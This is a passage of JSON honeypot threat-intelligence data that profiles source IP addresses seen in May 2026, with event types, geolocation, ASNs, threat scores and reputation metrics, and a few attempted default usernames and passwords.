        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "14.103.111.167": {
      "attack_count": 10,
      "first_seen": "2026-05-11T18:40:07.002Z",
      "last_seen": "2026-05-11T19:36:23.683Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:40:07.002000+00:00",
        "last_seen_30d": "2026-05-11T19:37:58.059000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "189.219.115.19": {
      "attack_count": 10,
      "first_seen": "2026-05-24T15:53:43.628Z",
      "last_seen": "2026-05-24T16:02:11.454Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ciudad Benito Ju\u00e1rez",
      "asn": 265594,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:53:43.628000+00:00",
        "last_seen_30d": "2026-05-24T16:03:17.119000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "34.62.161.219": {
      "attack_count": 10,
      "first_seen": "2026-05-16T07:45:43.795Z",
      "last_seen": "2026-05-16T07:45:49.516Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:45:43.795000+00:00",
        "last_seen_30d": "2026-05-16T07:46:51.651000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "37.250.74.248": {
      "attack_count": 10,
      "first_seen": "2026-05-19T09:49:21.366Z",
      "last_seen": "2026-05-19T16:43:00.003Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:49:21.366000+00:00",
        "last_seen_30d": "2026-05-19T16:44:03.923000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.172.188": {
      "attack_count": 10,
      "first_seen": "2026-05-07T07:47:13.357Z",
      "last_seen": "2026-05-12T16:58:39.417Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 78.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 28,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T03:33:57.992000+00:00",
        "last_seen_30d": "2026-05-29T02:04:02.633000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 35,
        "Cowrie": 10,
        "Dionaea": 2
      }
    },
    "167.88.167.152": {
      "attack_count": 8,
      "first_seen": "2026-05-28T15:29:59.060Z",
      "last_seen": "2026-05-28T15:29:59.587Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T15:28:16+00:00",
        "last_seen_30d": "2026-05-28T15:31:09.713000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 8,
        "Honeytrap": 3
      }
    },
    "189.144.24.49": {
      "attack_count": 8,
      "first_seen": "2026-05-24T04:39:39.381Z",
      "last_seen": "2026-05-24T04:47:44.535Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Gustavo Adolfo Madero",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:39:39.381000+00:00",
        "last_seen_30d": "2026-05-24T04:48:48.433000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "192.42.116.97": {
      "attack_count": 8,
      "first_seen": "2026-05-06T20:24:26.236Z",
      "last_seen": "2026-05-06T20:24:48.739Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-06T20:24:26.236000+00:00",
        "last_seen_30d": "2026-05-24T01:21:53.969000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 6,
        "Ciscoasa": 4,
        "H0neytr4p": 2,
        "Honeytrap": 1
      }
    },
    "103.249.239.166": {
      "attack_count": 6,
      "first_seen": "2026-05-10T20:54:29.334Z",
      "last_seen": "2026-05-10T20:54:34.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 133159,
      "as_org": "Mammoth Media Pty Ltd",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:54:29.334000+00:00",
        "last_seen_30d": "2026-05-10T20:55:44.265000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "117.83.81.45": {
      "attack_count": 6,
      "first_seen": "2026-05-22T13:41:22.466Z",
      "last_seen": "2026-05-23T08:48:37.664Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:41:22.466000+00:00",
        "last_seen_30d": "2026-05-23T08:49:46.479000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "193.46.255.156": {
      "attack_count": 6,
      "first_seen": "2026-05-07T15:53:55.850Z",
      "last_seen": "2026-05-07T15:54:09.139Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1019,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-07T02:32:46.765000+00:00",
        "last_seen_30d": "2026-05-07T15:59:08.899000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1230,
        "Honeytrap": 99,
        "ConPot": 8,
        "Redishoneypot": 8,
        "Dionaea": 7,
        "Cowrie": 6,
        "ElasticPot": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "198.98.50.7": {
      "attack_count": 6,
      "first_seen": "2026-05-27T05:04:28.069Z",
      "last_seen": "2026-05-27T05:04:34.706Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:04:28.069000+00:00",
        "last_seen_30d": "2026-05-27T05:05:39.727000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.12.33.23": {
      "attack_count": 6,
      "first_seen": "2026-05-10T09:16:44.680Z",
      "last_seen": "2026-05-10T09:16:52.656Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "British Virgin Islands",
      "country_code": "VG",
      "city": null,
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:16:44.680000+00:00",
        "last_seen_30d": "2026-05-10T09:17:59.040000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.186.168": {
      "attack_count": 6,
      "first_seen": "2026-05-21T02:35:18.315Z",
      "last_seen": "2026-05-21T02:35:59.395Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 83.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 27,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T17:10:40+00:00",
        "last_seen_30d": "2026-05-29T11:04:45.791000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 57,
        "Cowrie": 6,
        "Tanner": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "85.140.44.96": {
      "attack_count": 6,
      "first_seen": "2026-05-04T01:34:50.045Z",
      "last_seen": "2026-05-04T01:35:29.484Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 35728,
      "as_org": "MTS PJSC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:34:50.045000+00:00",
        "last_seen_30d": "2026-05-04T01:36:37.054000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "40.124.172.100": {
      "attack_count": 5,
      "first_seen": "2026-05-24T13:39:22.926Z",
      "last_seen": "2026-05-24T13:39:33.248Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 15.8,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 19,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T19:51:44+00:00",
        "last_seen_30d": "2026-05-25T04:00:15.770000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 5,
        "Honeytrap": 2,
        "Ipphoney": 1
      }
    },
    "104.152.52.227": {
      "attack_count": 4,
      "first_seen": "2026-05-31T03:35:27.841Z",
      "last_seen": "2026-05-31T03:35:28.287Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 23.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 28,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T08:32:30+00:00",
        "last_seen_30d": "2026-05-31T03:36:36.350000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "179.25.95.108": {
      "attack_count": 4,
      "first_seen": "2026-05-13T09:32:33.084Z",
      "last_seen": "2026-05-13T09:34:40.081Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:32:33.084000+00:00",
        "last_seen_30d": "2026-05-13T09:45:38.198000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "186.139.129.92": {
      "attack_count": 4,
      "first_seen": "2026-05-16T02:22:20.046Z",
      "last_seen": "2026-05-16T02:26:23.159Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:22:20.046000+00:00",
        "last_seen_30d": "2026-05-16T02:37:03.681000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "41.60.147.32": {
      "attack_count": 4,
      "first_seen": "2026-05-06T22:49:40.112Z",
      "last_seen": "2026-05-07T18:07:45.065Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T22:49:40.112000+00:00",
        "last_seen_30d": "2026-05-07T18:08:47.283000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "61.146.163.161": {
      "attack_count": 4,
      "first_seen": "2026-05-02T00:55:27.108Z",
      "last_seen": "2026-05-05T12:13:55.230Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanwei",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:55:27.108000+00:00",
        "last_seen_30d": "2026-05-05T12:15:01.286000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "71.6.134.235": {
      "attack_count": 4,
      "first_seen": "2026-05-23T23:22:42.485Z",
      "last_seen": "2026-05-23T23:22:42.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 317,
        "days_active_30d": 29,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-03T02:38:35.692000+00:00",
        "last_seen_30d": "2026-05-31T23:28:26.135000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 232,
        "Honeytrap": 73,
        "Cowrie": 4,
        "Ciscoasa": 3,
        "CitrixHoneypot": 2,
        "ElasticPot": 2,
        "Dionaea": 1
      }
    },
    "91.231.89.141": {
      "attack_count": 4,
      "first_seen": "2026-05-30T12:54:43.205Z",
      "last_seen": "2026-05-30T12:55:08.614Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T20:31:15+00:00",
        "last_seen_30d": "2026-05-30T12:56:13.773000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 33,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "109.252.80.99": {
      "attack_count": 2,
      "first_seen": "2026-05-09T11:47:21.979Z",
      "last_seen": "2026-05-09T11:47:34.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:47:21.979000+00:00",
        "last_seen_30d": "2026-05-09T11:48:40.503000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.173.159.150": {
      "attack_count": 2,
      "first_seen": "2026-05-22T07:17:33.679Z",
      "last_seen": "2026-05-22T07:17:46.994Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:17:33.679000+00:00",
        "last_seen_30d": "2026-05-22T07:18:53.248000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.218.219.149": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:51:04.340Z",
      "last_seen": "2026-05-22T20:51:24.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:51:04.340000+00:00",
        "last_seen_30d": "2026-05-22T20:52:30.945000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.138.97.41": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:59:11.119Z",
      "last_seen": "2026-05-22T13:59:24.466Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:59:11.119000+00:00",
        "last_seen_30d": "2026-05-22T14:00:28.502000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "118.248.164.210": {
      "attack_count": 2,
      "first_seen": "2026-05-22T12:25:14.888Z",
      "last_seen": "2026-05-22T12:25:45.959Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
